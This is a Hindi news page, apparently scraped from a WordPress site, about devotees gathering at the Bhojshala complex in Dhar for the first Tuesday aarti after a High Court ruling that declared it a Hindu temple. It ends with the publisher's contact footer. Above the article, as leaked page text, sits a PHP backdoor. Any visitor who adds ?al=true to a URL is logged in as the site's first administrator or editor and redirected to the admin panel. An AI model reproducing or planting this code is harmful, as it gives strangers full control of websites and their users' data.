// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); ऐतिहासिक फैसले के बाद भोजशाला में पहली मंगल आरती, दीपों और पटाखों से गूंजेगा परिसर – प्रत्युषा आशा की नयी किरण
मध्यप्रदेश

ऐतिहासिक फैसले के बाद भोजशाला में पहली मंगल आरती, दीपों और पटाखों से गूंजेगा परिसर

धार 

मध्य प्रदेश के धार जिले में स्थित ऐतिहासिक भोजशाला परिसर MP हाईकोर्ट के ऐतिहासिक फैसले के बाद भगवामय हो गया है. 15 मई 2026 को आए फैसले में हाई कोर्ट ने आधिकारिक तौर पर भोजशाला को एक हिंदू मंदिर घोषित किया है, जिसके बाद से रोजाना नियमित रूप से श्रद्धालु भोजशाला पहुंच रहे हैं. चूंकि आज फैसले के बाद पहला मंगलवार है तो भोजशाला परिसर में बड़ी संख्या में श्रद्धालु पूजा-अर्चना के लिए पहुंच रहे हैं, जिसके लिए प्रशासन ने सुरक्षा-व्यवस्था मजबूत की है।

 ऐतिहासकि फैसले में हाई कोर्ट ने भोजशाला परिसर को एक हिंदू मंदिर करार दिया
गौरतलब है मध्य प्रदेश हाई कोर्ट की इंदौर खंडपीठ ने 15 मई, 2026 को सुनाए अपने ऐतिहासकि फैसले में भोजशाला परिसर को एक हिंदू मंदिर करार दिया था. हाई कोर्ट ने अपने 242 पन्नों के फैसले में साल 2003 के उस प्रशासनिक आदेश को पूरी तरह रद्द कर दिया, जिसके तहत शुक्रवार को मुस्लिमों को नमाज और मंगलवार को हिंदुओं को पूजा की सीमित अनुमति थी। 

हाई कोर्ट ने अपने ऐतिहासिक फैसले में ASI की सर्वे रिपोर्ट को मुख्य आधार बनाया
हाई कोर्ट ने मंदिर के पक्ष में सुनाए अपने ऐतिहासिक फैसले में ASI की सर्वे रिपोर्ट को मुख्य आधार बनाया. हाई कोर्ट का फैसला ASI की 98 दिनों के वैज्ञानिक और पुरातात्विक सर्वे पर आधारित है, जिसमें आधार पर कोर्ट ने भोजशाला परिसर को मंदिर करार दिया. कोर्ट ने माना कि ऐतिहासिक साक्ष्यों और एएसआई की वैज्ञानिक रिपोर्ट से यह सिद्ध होता है कि इस स्थान का धार्मिक चरित्र मां सरस्वती का मंदिर ही है। 

11वीं शताब्दी में परमार राजवंश के प्रतापी राजा भोज ने की जशाला परिसर स्थापना
उल्लेखनीय है ऐतिसाहसिक तथ्यों के मुताबिक 11वीं शताब्दी में परमार राजवंश के प्रतापी राजा भोज ने भोजशाला परिसर स्थापना की थी. मूल रूप से संस्कृत अध्ययन का एक प्रतिष्ठित केंद्र और विद्या की देवी मां सरस्वती (वाग्देवी) को समर्पित एक भव्य भोजशाला मंदिर है. साल 1875 में खुदाई के दौरान यहां से मां वाग्देवी की एक अत्यंत सुंदर ऐतिहासिक प्रतिमा मिली थी, जिसे तत्कालीन ब्रिटिश अधिकारी अपने साथ इंग्लैंड ले गए थे। 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]